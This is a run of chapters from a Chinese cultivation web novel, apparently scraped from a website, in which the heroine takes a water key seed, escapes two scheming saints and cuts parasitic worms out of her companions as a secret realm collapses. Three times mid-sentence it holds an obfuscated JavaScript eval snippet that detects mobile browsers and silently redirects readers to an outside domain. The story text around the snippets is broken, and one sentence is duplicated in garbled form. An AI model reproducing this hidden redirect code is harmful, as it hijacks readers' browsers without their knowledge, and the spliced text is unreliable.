随着水面的波动,伏令年注意到了湖中央的事物。 流淌的水流之中,有什么事物在萌芽。 它伸展着幼嫩的蓝色枝叶,自湖中拔地而起。 枝叶纹理不似植物,倒像是水流凝成。 凝眸细看,水流淌着,呈现出一种奇妙的生命力。 神识海随之翻腾着,角落的幼苗在此时也伸展起枝条。 伏令年忽地感到身体干渴,似乎有一只只手从咽喉中伸出,急于探入水源。 她不知何时已经走入了湖水中,下半身被水流包裹着,衣摆轻轻飘荡。 参天巨树自湖中拔地而起,柔和的光芒从每一条枝干间透出。在这一瞬间,伏令年近乎认为它是世界的支柱。 然而,下一刻,支柱坍塌了。 参天巨树的轮廓扭曲着坍塌,破裂成一团团水珠。水珠相互结合,继而浓缩为一团晶莹的不规则水团。 水团漂浮在半空,似乎在呼唤着过路人采取。 伏令年随着自己内心而动,水团落入她的手中,外侧的水流如同泡泡般破碎。 一颗淡蓝色的“种子”躺在了她的掌心。 伏令年看着掌心,一动不动。 耳朵捕捉到轻微的脚步声。 伏令年依旧一动不动。 不是她不想动。 身体发僵,从指尖麻到了四肢百骸。 被操纵了。 这似乎是一个意料之中的结果。 引导她前来此处的人,终于要显露出真正面貌了吗? “钥种,果然在这里。” 声音轻柔,让人听着泛不起反抗的欲望。 “现在,把它交给我吧。” 伏令年缓缓抬头,伏令年缓缓转身,她缓缓抬头看向来人。 容貌艳丽,雌雄难辨。 并蒂圣子之一。 或许,还可以喊“他”作长乐坊的杀手。 一步、两步、三步…… 不受控制,眼睁睁看着自己走向绝望是什么感受? 伏令年现在便体验到了。 手微微抬起,放在对方纤白的掌心上。 并蒂圣子嘴角勾起的弧度在伏令年的眼眸中不断放大。 下一刻。 耀眼的白光乍现,瞬间斩断了并蒂圣子的身体。 被白玉剑斩断的身躯化作破碎的血色布偶,摔落在地上。 【九十年义务修仙系统提醒您:】 【迷魂铃(已生效)】 【施加对象:并蒂圣子 使用效果:被施加者产生幻觉:怀中的蛊毒娃娃异变反噬,需要立即损毁】 【任务进度变动: ①消除被袭击者掌握的毛发血肉(3/3) ②利用钥匙进入迷境(1/1)】 【任务完成】 【完成奖励:【改名卡*1】【有用的奖励*3】】 97. 万霭之幽(二十四) 果然是这样吗? 随着最后一份用于制作蛊毒娃娃的毛发血肉被销毁,伏令年的记忆逐渐回笼。 在这之前,伏令年的记忆居然停留在了与阿九初次见面的场景。对于那片有麻痹效果的花丛,以及并蒂圣子的出现的记忆居然一片空白。 不知道并蒂圣子使用了何种蛊术,伏令年的神魂被牵引到了替身蛊偶身上,她无知无觉,与同伴们相见,直到两境修士对峙之时,蛊偶身上的阵法运转,神魂回归。 伏令年握紧手中的蓝色种子,矮身滚入水中。湖水将衣袍全然浸湿,伏令年却感觉不到凉意。 神识海依旧在翻腾着,肉眼不可见的红色丝线逐渐断裂剥离。骤然爆发挣脱了操纵,却也让伏令年近乎脱力。 迷魂铃作用出其不意,但却很难对擅长蛊术的并蒂圣子造成极大的影响。 不过,一瞬间的恍神和停滞,足以让伏令年趁机操纵神识海,冲破束缚唤出白玉剑了。 不知怎的,伏令年隐隐感到白玉剑出现了些许变化。 但这不是细究的时间,伏令年知道,危险还未解除。 从进入秘境——或者说踏入南境以来,伏令年似乎便落入他们谋划的陷阱中了。 刚刚利用迷魂铃出其不意的一击,也未对并蒂圣子产生致命威胁。 伏令年撑着上半身勉强坐起,望向岸上断成两截的木偶。 并蒂圣子的身影在另一侧浮现,眼眸深邃,皮肤白皙,红唇似血,墨发随意披散于肩。 同刚刚看起来一般无二,看来刚刚的一剑并未对他造成太大伤害。 “小瞧你了。”并蒂圣子似乎并不气恼,面上甚至还浮现出一抹淡淡的笑意。 他嗓音放柔,更似女声:“是了,姐姐拿了我的迷魂铃。从那时候开始,我便受到影响了。” 长乐坊的袭击中,伏令年用剑挑飞了袭击者的一串铃铛,并通过系统得知了迷魂铃的使用方法。 与袭击者近身战斗时,她曾两次触发迷魂铃。 而迷魂铃的起效前提是:同一施加对象触发次数超过三次。 “但那之后呢?”并蒂圣子像是在和伏令年说话,又似在自言自语:“啊…我知道了。”他的眸光落在伏令年的发顶:“是我们在迷境赏花的那一次…好伤心,姐姐,你当时居然还想着这些东西。”此时,并蒂圣子的声音已变成了当初在长乐坊袭击她的那道女声。 是的,就是那一次。 伏令年从恢复的记忆中同样确定了这个事实。 初次落入迷境,她被并蒂圣子摁在具有麻痹效果的花丛中后,她挣扎着再次触发了迷魂铃。 也好在她提前留了个心眼,将迷魂铃事先取出。否则进入迷境,就是想用也取不出来。 原本只是为了以防万一,却当真成了关键制胜的一招。 迷魂铃启用后,系统有所记录。伏令年失去了记忆,系统却不会失忆。 伏令年撑着身体想站起来,四肢却使不上劲,神识爆发的副作用也逐渐显现,她此时头痛欲裂。 缓了一会,还是不见好转,伏令年干脆躺下了。 湖水意外得很浅,没能没过她的口鼻。 神识海中,系统连续弹出多个提示。伏令年一一掠过,最后停留在【改名卡】上。 【道具介绍:【改名卡】】 【持有改名卡,可为【看起来不贵但有点厉害的剑】改一个名字。从此以后,它就是你的最靠谱的小宝贝啦】 伏令年:…… 喊白玉剑顺嘴了,伏令年一时间都没反应过来这一串修饰词指的是什么东西。 所以,她折腾半天拿到的奖励就用来给剑改个名字? 说真的,她现在脑海里只能想到‘一刀一个小朋友’和‘破伤风之刃’之类的名字。 她承认自己没有一点艺术细胞。 【改名为【破伤风之刃】,是否确定】 不太确定。 伏令年先将改名卡放在一边,快速检查自己身上是否有伤。幸而,除了竭力以外似乎没什么问题。经脉也完整,灵力依旧能运转…等等——似乎多了些东西。 “姐姐,怎么不说话?” 伏令年双眼微闭:“猜对了,我给你鼓个掌?” 并蒂圣子咯咯笑了起来:“好啊。” 伏令年没想到是这个回应,沉默了一会,她忽然问道:“你们为什么会盯上我,为了拿到这个东西?” 她指的自然是手中的蓝色种子。 “为什么是我?”伏令年这句话下了重音。 这回轮到并蒂圣子沉默了,就在伏令年以为并蒂圣子不会回答时,一道声音从另一个方向传来。 这道声音偏男性:“猜对了。” 伏令年从水中坐起,侧头看向说话之人。 不用询问,相似的穿着和样貌——这是另一个并蒂圣子。 “把东西交给我们,放你走。”他直截了当。 伏令年没有回应他的提议,她缓缓道:“长乐坊的袭击,你们不是为了杀我,也不是想要针对东境。你们真正的目的是在我身上放置能寻踪的香气。所以,你们才能在初入秘境是找到我们,顶替了那个医修,把进入这里的钥匙交给我?” 高墨贤曾嫌弃她身上有南境特产的香料味。 除了去过几次长乐坊,伏令年和温季才再也未去过那些可能会出现香料气味的风月场所。如今看来,定是并蒂圣子当时所为。 后出现的并蒂圣子眯起眼眸,他也在笑,笑意却有些冷。 他抬起手,上半掌轻轻拍打另一只手的掌心:“猜对了。” 伏令年不理会他的阴阳怪气,脑海中的思路逐渐连成一片:“所以,你们真正目的是利用我获得这个奇怪的种子…你们明明有进入这里的钥匙。也知道它在这里,却非要大费周章地引我过来…为什么呢…再让我猜猜…” “我猜,因为你们拿不到,对吗?”伏令年缓缓从水中站起,浸满水的衣袍紧紧贴在伏令年身上,有些不舒服。伏令年动作随意地扯开腰带,将外袍脱下:“也就是说,这里有什么你们畏惧的事物,是什么呢?” “我修为远不如你们,和我在这里说了这么久,你们却不动手来抢…为什么呢?”伏令年笑着问:“因为你们不能踏入这片湖泊?还是说…” 这句话没说完,伏令年的身影却骤然在原地消失了——不,并不是消失了。 湖面开始翻腾,一团水流在接近岸边的地方涌出,勾勒出人形身影。 刚刚被伏令年脱下的外袍在水流的冲击下被掀飞,砸向后出现的并蒂圣子。 在他躲避之际,那道身影完全勾勒成型。 伏令年持剑破水而出,说完了她的后半句话:“你们不能触碰这里的水?” 她如游鱼一般折过一个弧度,避开了并蒂圣子的软剑。 掌心触碰他刚刚站立的区域,灵力鱼贯而入。 空间在瞬间扭曲,阵法的光芒亮起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787789|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是传送法阵。 这次,她又猜对了。 伏令年的身影消失在空中,只余下两位并蒂圣子,和翻腾的湖面。 几乎是在她消失的下一刻,湖水以肉眼可见的速度开始干涸。 “被摆了一道呢。”女声的并蒂圣子道:“哥哥。” 被称作哥哥的并蒂圣子面色难看,两人机关算尽将人引到此处,自然不会想到最后还会被伏令年摆一道,让她当着他的面跑掉了。 “她比我们想象中的要聪明。”女声笑着道:“你刚刚突然回来,是发生了什么?” “先离开这里,他们很快就会察觉了。” “要我说,我们应该试试告诉她…别用这种眼神看着我,好不容易在一个祂注视不到的地方,你知道,她和我们是一样的…” …… 天旋地转,伏令年感觉身体失重,从半空中摔落下来。 身体撞到了什么坚如钢铁的事物,痛得伏令年眼前一黑。反应过来时,伏令年发现自己正压在一个熟人身上。 “秦箐…你衣袍下是钢板吗?” 就是正常掉在地上,都不会这么痛。 “体修嘛…”秦箐干笑一声,面露惊喜之色:“总算找到你了。” 拥有戒指的伏令年通过传送法阵进入了指定的迷境,秦箐和钱徕却落到了另一个地方。 “小年姐…”不远处传来幽魂一般的呼唤声。 钱徕看见伏令年,感动得热泪盈眶,像是看到了救星——能够让自己不被蛊虫蛀空得救星。 “先不说这些。”伏令年打开储物空间,从里面掏出了昆仑宗的弟子服饰穿上:“秘境可能要坍塌了,先找出口。” “什么出口?你为什么能使用储物空间了?!” 他们有很多疑问,伏令年却没法跟他们解释。 神识海中,系统的提示十分瞩目——【九十年义务修仙系统提醒您:】 【已获得【钥种】,提示:钥种离开秘境之源后,秘境将会提前坍塌关闭,请及时离开】 系统今天的存在感实在有些超标了。 上一次出现这种状况,还是在桃源村遇险之时。 依靠系统,伏令年度过了许多次绝境。但面对这种完全凌驾于自己之上的事物,伏令年却始终对它感到不安。 平日里,系统很安静,让人忽视。 而今,伏令年却很难不去思考。 第三学期任务中给出的任务中便有【获取秘境钥种】的任务,但在今日以前,伏令年不知道这是何物。 若不是并蒂圣子有所图谋,伏令年恐怕都还在迷境外头打着转。系统为何会要求她获取能导致秘境坍塌的钥种? 秘境坍塌显然不是系统随口说得,从刚刚能打开储物空间便可确定,秘境的确发生了变动,连同包含在其中的迷境的规则也产生了紊乱,无法再封锁储物空间了。 于此同时,伏令年三人都感受到了周遭空间的震颤感。原本缓缓流动的灵气变得紊乱,肃然一副风雨欲来之景。 危机感愈加强烈,秦箐是个聪明人,立即收起了好奇心。 两人扛着虚弱的钱徕,朝着灵气波动剧烈的出口而去。 钱徕的声音飘飘忽忽:“如果…能活着出去…我们三人便是过命的交情了……”他似乎很感动,声音有些抽噎:“能活着出去,我们便是过命的兄弟…啊不,姐妹了。” 秘境三结义什么的还是不必了吧!还有,不要再插旗了啊! 98. 万霭之幽(二十五) 迷境之外。 驻守在外的元婴期修士忽地抬头,望向天际。 周围的景象还未有变化,可敏锐的修士已能洞察一二。 宋予卿垂眸,看着掌心的罗盘疯狂旋转。 “危险。”罗盘从中段应声破碎,裂成十多块细小的碎片。 宋予卿没有犹豫,他起身道:“我们回秘境出口。” “现在?”东境的弟子错愕道。 “对。”罗盘的碎屑顺着宋予卿的指尖落下,他抹去嘴角溢出的血迹:“秘境三刻钟内必有大变,再不走便来不及了。” “那迷境里的人呢?”另一位弟子焦急道。 “若秘境出现变动,迷境亦会有所变化,出入口的位置也会变动。就算他们离开,也不一定会在此处出现。”留下来镇守的另一位弟子是金丹期后期的容晋卿,他解释了一句,与宋予卿相视一眼。 从宋予卿沉凝的面色中,容晋卿感受到了此事的严重性。 秘境之外,原本寂静的大殿之内人声嘈杂。弟子们交头接耳,主位的修士亦面色有异。 迷境大范围出现,多数弟子皆选择进入其中探寻。由于迷境的特殊性,画面无法传递回水影幕处。 主位的武丹卿和娄烨皆离开了,替换上座的是各自宗门的长老。 断岳殿的长老面色微变,与身旁的合欢宗长老相视一眼。随即,他从怀中取出一个木鱼似的物什,一指弹于其上。 没有声响,只见一道金光逸散而出,以极快的速度掠向远方。 万霭之幽有异,秘境似有提前关闭的趋势。 他需要立即将此汇报给殿主。 秘境提前关闭并非没有先例,可万霭之幽是南境内留存已久,十分稳定的秘境。在众位弟子进入秘境前,亦有擅卜术的大能作卜,推算其关闭的时间。 经过多方考证确认,最终才定下了此处为四境大会的第一个赛场。 可如今,离原本关闭的时限明明还有数月之久,怎会突生关闭的预兆? …… 伏令年此时正在逃命。 迷境的出口好找,前去出口的路却并不好走。 随着大地震颤的加剧,灵气的波动也愈加紊乱。 在这种状况下,每一次行动都充满了阻碍。 再加之钱徕一个跑不动的累赘,伏令年和秦箐的速度一直被拖慢。 钱徕也不是蠢人,自然知道自己状况不佳,处境危险。 伏令年和秦箐与他是萍水相逢,就是干出把他东西抢光丢在这儿的事,在修仙界也不算少见。 钱徕嗓音嘶哑,哭着嚷道:“兄弟…姐妹们,别丢下我,只要你们能带我出去,什么都好说啊!” 秦箐被吵得烦躁,她此时的外表已与先前大有不同。 身高近乎拔高了一尺,两臂肌肉虬结,浑身上下都充盈着喷薄欲出的力量。 与伏令年这类剑修不同,她的力量全然外显,让人惊叹。 “我们把他丢在这吧。” 就在这时,秦箐突然道。 伏令年微愣,脚步没有停下。 秦箐像拎小鸡一样拎着钱徕,面上没有半分玩笑的意思。 “他身上的东西你也拿了,至于青鸢阁拍卖会的资格,他多半是胡扯出来骗我们的。”秦箐无视钱徕的哭嚎声:“他太吵了,也很麻烦,这里离秘境出口还有很远呢,会影响我们后续行动的。” 钱徕被秦箐这话吓得吱哇乱叫,一边哀求着,就差把裤子都抵给伏令年两人了。 伏令年没吭声,一道光芒骤然从她右手处闪现。 是白玉剑,但又与之前有些不同了。 在刚刚,伏令年使用了【改名卡】,将白玉剑正式改名为【归年】。 随即,一种很玄妙的感觉油然而生。 仿佛是冬日晨起饮下一口温热的水,热气从喉间蔓延至胃部,连带着肺腑都充溢着暖意,精神焕发。 当归年落于手中时,伏令年感到灵力自然运行,金丹与剑共鸣。身周的灵气乱流也骤然一空。 她御剑而起。 这种状况下,御剑比两条腿狂奔要快许多。 然而,周遭灵气紊乱。就像飞机飞行时要依托于良好的气象,御剑也是如此。因此,伏令年才不敢轻易尝试。 而如今,当归年持于手中的那一刻,伏令年便有了底气。 她朝秦箐伸出手:“上来。” 归年在她的意念控制下膨胀变大,足以容纳下她们二人并立。 至于钱徕——他被秦箐拎在手中当风筝放呢。 秦箐没有再继续刚刚的问题,就像无事发生。 伏令年亦未再提起。 放弃无用的钱徕,在此时似乎是一个选择。 但在伏令年心中,这绝对不是对的选择。 她们还未到绝境的时刻,也并非不得不放弃钱徕。 伏令年做不到就这样放弃一条性命。 虽然已经穿越到此处十余年,伏令年内心却依旧留存着先前世界的信念。 滥杀无辜,抛弃同伴。伏令年做不到。 当初为了拉住余绣,她落入迷境。如今也不会随意放弃钱徕的性命,即使二人只是萍水相逢,算不上同伴。 归年行于天际,划破紊乱的灵气流,带着二人投入迷境的出口。 这一次,伏令年并未产生身体陷入流水之感。 她只觉剑身一阵猛烈摇晃间,仿佛有什么屏障被搅碎。人便被涌动的灵气推行着朝出口外而去。 此时此刻,就是神识也难以辨明方向。 当感受到肌肤上熟悉的灼痛感时,伏令年回过神来——她们离开了迷境。 秘境中才会有这具有腐蚀性的暴雨。 伏令年肌肤上顿时生出一层屏障,阻止暴雨的侵蚀。 眼前是迷蒙的雨帘,耳边充盈着雨滴洒落在枝叶上的动静。 周围很安静,迷境的波动似乎还未影响到整个大秘境。 密林遮挡,难以御剑而行。 归年回归原状,没入伏令年体内。 秦箐眸光晦暗不明,瞥了眼归年消失的方向,继而道:“我们该往哪里走?” 她并非是个没主见的人。 但偌大一个秘境,若是没有指引,出口难寻。 也不知道秘境之外的人还能不能看见秘境内的状况,伏令年从储物空间中取出灵犀果,用最简易快速队伍方法提炼出其中的汁液。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811776|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然没有炼制解毒丹的效果好,却也是聊胜于无。 三人服用汁液,顿时感到灵力流转通常,呼吸也不再伴随着灼痛感。 伏令年确定这里并非是她一开始掉进迷境的位置,她也分不清此处到底距出口有多远。 周围很平静,伏令年的内心却越加不安。 平静的秘境之内似乎蕴藏着可怖的事物,就待时机喷薄而出。 当秘境也发生异变时,伏令年几人便能通过灵气波动分辨出口的方位。可待到那时,逃跑恐怕是来不及了。 这个时候,系统却不吭声了。伏令年不由在心中乱想着。早说拿钥种秘境会异变坍塌,她放回去还不行吗?可当系统提示任务成功后,钥种便消失了。 钥种去哪了呢? 且钥种似乎还有属性之分。 “水”,意味着这是水属性的钥种吗? 脑海中这个念头冒出后,伏令年突然有了一个可怕的联想。 先前与并蒂圣子在迷境内对峙时,伏令年躺在水中用神识探视身体时,发现了一个意想之外却又在意料之中的事情——她又长出了一条水灵根! 也是因此,她才能在最后化水而行,逼得并蒂圣子推开,从而进入传送法阵。 这种诡异的事情并非第一次发生,伏令年清楚地记得,多年前她还长出过一条火灵根,为此被师兄师姐带到昆仑峰测灵石又测了一遍灵根。 多长出的水灵根必然和系统脱不开关系。 可是——为何刚好是水呢?又恰好是她得到钥种之时。 神识向体内探寻,顺着经脉延伸。 她触碰到了水灵根。 晋升金丹期后,体内灵根的位置也有了些许变化。 它们交缠于金丹周遭,与四通八达的经脉相联。 神识先是感受到了流水的包裹,随即没入其中。 蓝色的光芒在“眼前”蔓延开来,伏令年看见了其中浮动的椭圆形事物。 钥种。 真的在这。 所以,钥种并非消失,而是进入了她的体内,让她长出了新的灵根。 想到此,伏令年急忙探查了一下自己的火灵根和木灵根,并未在其中发现类似的事物。 看来,这水灵根独独是个意外。 钥种的特别之处远比伏令年此时发觉的要多,毕竟这是并蒂圣子用尽计谋,千方百计也想得到的事物。 伏令年催动水灵根,灵力源源不断涌入其中。钥种在灵力的浇灌下伸展着“破土而出”。 睁开双眼,伏令年震惊地发现四周的雨变小了。与此同时,周围高耸的巨树在未知力量的作用下节节挪动,竟硬生生开辟出了一条明显的通路。 伏令年侧头,与同样震惊的秦箐对视一眼。 伏令年眼中的震惊太过真实,以至于秦箐也分不清这和她是不是有关。 “这是…在指引我们?”钱徕喃喃自语,仿若梦呓。 就在此时,地底传来一阵震颤。 秦箐回头一看,面色顿时大变。 “快走!” 背后,烟尘滚滚,山石不知何时再度开始崩裂。 天地可怕的巨力之下,鸟兽虫鸣都显得何其微弱。 99. 万霭之幽(二十六) 奔跑间,树影在两侧晃动。伏令年所过之处,苍天古木随之分立两侧,形成一道宽敞的通路。 这景象着实诡异,但在这生死时刻,一切疑惑都能往后放。 天空不知何时又下起了暴雨,浓郁的毒瘴近乎凝为实质。即使将灵力附于双眼,也依旧无法穿透毒瘴。 不知跑了多久,伏令年对时间的意识逐渐模糊。山石崩裂的响动似乎被他们抛在了身后。 “扑通” 似乎有人跌倒了。 伏令年动作微顿,回头望去。 秦箐不知何时跌落在地,她面部朝下,恢复了正常状态下矮个姑娘的模样。 脑后发寒。 伏令年在神识做出预警的下一刻横挪一步,右手向后探去。 指尖发力,伏令年将钱徕往身前一带,左手探向他的脑后。 灵力自指尖探出,刺入钱徕的后颈。 然而,钱徕却并未就此昏迷。 他的双眼眼白处布满血丝,眼珠向外鼓凸着。昂起头,兴许是看到了伏令年差异的神情,“钱徕”嘴角上翘,露出了一个笑容。 一个疯狂且贪婪的笑容。 下一刻,伏令年左手掌心一痛,一柄细小锋锐的匕首直接刺穿了伏令年的掌心。鲜血顺着伤口涌出。 钱徕挣扎着,张大嘴巴朝伏令年受伤的手心探去。 此情此景,伏令年甚至来不及感到疼痛,一股恶心的寒意便随之蔓上心头。 又是这样,又是这种神情。 这种贪婪的,充满恶意的神情。 伏令年在一瞬间以为自己回到了木延街市。回到了木延街市的黑拳赛擂台上。再次遇见了那个名为尉迟阑的弟子——那个疑似被从昆仑峰废除为杂役弟子的少年。 像极了。 就是他。 伏令年确信自己的直觉。 钱徕胸口处的衣物以极快的速度蠕动起来,伴随着衣帛撕裂之声,一团鲜红的事物自钱徕的胸膛处“破土而出”。 一条条宛若菌丝的鲜红色事物撕裂血肉,剖开了钱徕的胸膛。它们争先恐后地探向前方,仿若丛林中觅食的毒蛇。 它们伸长的速度很快,顷刻间便逼至伏令年的面门。 这是蛊虫成熟的标志吗? 伏令年不清楚。 她本以为钱徕能够撑到离开秘境获得医治。 此时此刻,再怀有怜悯之心便是对自己生命的不敬了。 归年凭空显现,将延伸而来的菌丝斩断。 它们显然并未就此失去活力,血肉菌丝蠕动着,肉芽自被削去的尖端处冒出。 寒光再现,伏令年直接将与钱徕胸口紧密相连的肉瘤斩断。 于此同时,归年自剑柄处涌起一股暖流,伏令年的耳边响起一声剑鸣。 【九十年义务修仙系提醒您:】 【归年.技能触发】 【技能】 “啪嗒” 肉瘤落入湿润的泥土中,很快便被暴雨浸染。 菌丝依旧在蠕动着,火焰腾起,将其笼罩于内。 失去宿主的菌丝在灵火的炙烤下逐渐丧失了生机。 钱徕充血的眼眸颤动了两下,随即合拢了。他的身子也失去了力量,骤然瘫倒。 伏令年将钱徕正面朝上平放于地面。 他胸口处的衣服被损毁得不成模样,旁人可直接透过破处看见他的肌肤。 他面色苍白,浑身上下除了胸口的伤口便失了血色。但胸膛轻微的起伏在告知旁人,他还活着。 当归年第一次从【看上去不厉害但是绝对很贵的剑】更名为【看上去不贵但有点厉害的剑】时,正是伏令年面对那可怖魔修之时。 名为鸠的魔修趁着她神魂离体之际占据了她的身躯,并妄图销毁伏令年的神魂。 就在那生死之间,伏令年神识突破自身,归年也获得了可吞噬的特性。 就在刚刚,系统提示技能触发了。 不知是不是这吞噬的特性,才使钱徕没有在血瘤被除去后失掉性命。亦或者——伏令年有个更可信的推测——蛊虫似乎尚未成熟,是被她的血肉提前吸引出来的。这是否意味着,若想救下被寄生者,便要将蛊虫引离寄主清除。 雨依旧在下着,伏令年只觉身上湿漉漉的。分不清是雨水还是自己和钱徕的鲜血。 伏令年从储物空间中掏出一把还春丹,捏碎洒落于钱徕的伤口上。蛊虫被去除后,以钱徕金丹期修仙者的修为,再加之还春丹的药力,伤口不难愈合 她抬眸,望向了不远处的秦箐。 秦箐早已翻身坐起,她脸色苍白,盘坐于地面。神色有些复杂。 “让我看看吧。”伏令年道。 “什么意思?”秦箐嘴角微微勾起,露出了一个苍白的笑容。 “你不是早就试探过我了吗?你知道我不会随便对你动手的。”伏令年在秦箐面前蹲下,右手拔出了穿透了她左手手掌的短刃。 鲜血立即汩汩涌出。 秦箐的眼白处顿时泛起了红色的血丝。她近乎是贪婪的注视着伏令年手上的伤口。 然而,就在伏令年以为秦箐就要像钱徕那样发狂之时,她猛然闭上了双眼。 几个呼吸间,秦箐平静了下来。 再度睁开双眼时,她又恢复了那副爽朗无所谓的模样。 她注视着伏令年的双眸:“看来我的运气不错。遇上了位名门正派的修士。”她刻意在名门正派四个字上咬了重音,颇有些玩味之意。 “什么时候的事情?” 伏令年看着秦箐脱下衣袍后裸露在外的胸膛。 健康的小麦肤色,流畅的肌肉线条,以及——心口处那醒目的红色血瘤。 “见到你之前。”秦箐咧嘴笑了:“我还是有些许保命的手段的。” 这个时候,伏令年哪还不知道秦箐真正的个性。与表面的直率爽朗不同,她的各种心思可不比自个少。 先前仿若无情的要求抛弃钱徕,真实意图竟是试探伏令年是否是个下得了狠心的人。 “到底谁更虚伪?”伏令年撇撇嘴问。 “嘿。”秦箐眯着眼睛:“我哪知晓你有些什么本事。要是来个杀伐果断的,我的小命就得交代在这了。” “也对…”伏令年善解人意地表示了理解,话锋却一转:“诊金就是你用来保命的那件法器,如何?” 秦箐的笑容立即变淡了,她瞪大了双眸,好似第一次认识伏令年般。 “这个表情作甚?名门正派也得明码标价啊。” 秦箐没有拒绝,当然也无法拒绝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853667|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “出去以后再交付。”秦箐又显露出她狡猾的一面。 伏令年没有再说什么,若是在外面,她必然得好好讨价还价一番。但这不是互相扯皮的好时候。 伏令年再度取出了一些还春丹,用受伤的左手捏碎洒落在血瘤之上。还春丹自然对血瘤起不了作用,伏令年只是借这个行为掩饰自己鲜血的奇效。 果不其然,秦箐的眼眸立即泛起血丝,喉头发出低低的哼声。 她的毅力惊人,在如此情况下竟也未被蛊虫控制住行径,只是牢牢握紧双拳。 蛊虫再次如菌丝一般,撕裂血肉而出。 待到它完全探出秦箐体外,伏令年使用归年,血瘤斩落。 这一次,伏令年清晰地察觉到了归年的变动。 随着【吞噬】的生效,剑身光华流转,剑鸣与神识海共振。 秦箐体内的蛊虫亦被清除,她脱力般瘫软于地,却依旧保持着意识的清醒。 在伏令年从储物空间中取出绳索将钱徕捆在背后的当儿,秦箐快速运转,体内灵力修复身体的损伤。 还春丹也起了作用,促进了伤口的愈合。 勉强止住鲜血后,秦箐立即站起,未再花时间休整。 伏令年自然知晓其中缘由,秘境动荡不安,即将坍塌。在这里浪费的每一分每一秒都可能使她们永远的被困在秘境当中。 而刚刚的意外已经花费了不少的时间。 …… 秘境之外。 随着秘境坍塌的加剧,水影幕上深处的画面逐渐消失,只余下波纹状的模糊水影。 时间推移,终于有人自秘境的出口中走了出来。 然而,这让大部分人都感到失望。 率先离开的这一批修士皆是各境的散修,他们自知修为法器不如各大门派的弟子,一开始便未打算深入秘境之中。只于秘境外侧游走,收取有用之物。 因此,随着秘境之外的修士们感到不对,并通过身份铭牌发布警示之时,他们率先离开了秘境。 直到第一批门派弟子的出现,已是两日之后。 西境的弟子较为落后,也更加接近出口。 随后,是南境的大部分弟子与东境和北境留在迷境外驻守的弟子。 随着时间的推移,每一分秒过去,秘境内的变化更是难以预料。 “不过七日,秘境会封闭。”修炼中的武丹卿被长老突如其来的传音所打断,重新回到了大殿之内。 经过推算,她得出了这个结论。 这一结论更是让各境修士们感到担忧。 “为何会发生这种异变。”北境的一位长老怒道:“你们南境应当为此作出解释。” “秘境便是如此变化多端。”娄烨也同样回到了大殿内,作为南境的东道主,他与断岳殿的武丹卿应当在此危急时刻主持大局:“你们应当早便有所预料。” 话虽如此,却着实不好听。 秘境变化多端,危险异常。这自然是各位修仙者们心知肚明的。 但既然选作四境大会的地点,便是经过多方考察的。 毕竟四境宗门门派不会傻傻地派自己的精英弟子白白送死。 就在这种气氛之下,秘境出口再次有所触动。 在众目睽睽之下,三道身影自出口处浮现。 100. 逃离秘境 天旋地转之中,伏令年只觉得整个人腾空而起,淹没在一片白茫茫之中。眼前仿佛有五光十色掠动,待到一切平复之后,她感到自己面朝下摔在了地上。 背后被两人重重压着,伏令年感觉自己又喘不上气了。 钱徕和秦箐都受过蛊虫的寄生,身上气力本就被蛊虫消耗殆尽,再加上没日没夜的奔逃,早便油尽灯枯。 最后的一段路程,完全是伏令年一个拖着二人,把他们扯出来的。 周遭平复的的灵气在告诉她,她已然脱离了秘境。 胸口不再由于瘴气而灼痛,呼吸逐渐变得顺畅。四周的灵气流有规律的运转着,在金丹的运作下缓缓化为精纯的灵力,投入伏令年的经脉之中,滋润着她即将干涸的躯体。 缓和了一会儿后,伏令年感觉四肢有了气力,她用力动了动双腿,将倒在她身上的两人推开,艰难地挪了出来。 这时候,人群总算有了动静。 按常理来说,从秘境中出来的修士会得到医修和丹修们的救治。然而,钱徕和秦箐都是散修。 大门派不会对他们提供免费的治疗,其余散修也会想着从他们身上得到更多的利益。 伏令年挪到一半,并被人提着衣领揪了出来。 待伏令年才抬头去瞧来人,撞入了一双熟悉的眼眸。 她顿时眼泪汪汪,抑扬顿挫地哭嚎起来:“大师兄——我可想死你了。” 伏令年不知道如今自己是什么个状况,而在沈枫泽眼里,她蓬头垢面,身上还残留着未干的血迹。衣服也破破烂烂,活像个路边的小乞丐。 伏令年好像没看见沈枫泽嫌弃的表情似的,继续扯着嗓子嚎哭:“师兄——好恐怖啊,里头有很多虫子,很多人被寄生之后就不分敌友,胡乱攻击人。” “你有被寄生吗?”沈枫泽的面色沉凝了一些,问。 伏令年有捕捉到周围人产生了一阵骚动。 她的目的应该达到了。 “寄生过了一段时日后,便是神医来了都无力回天了。”沈枫泽缓缓解释道:“若是你再拖沓下去…” 他意味深长。 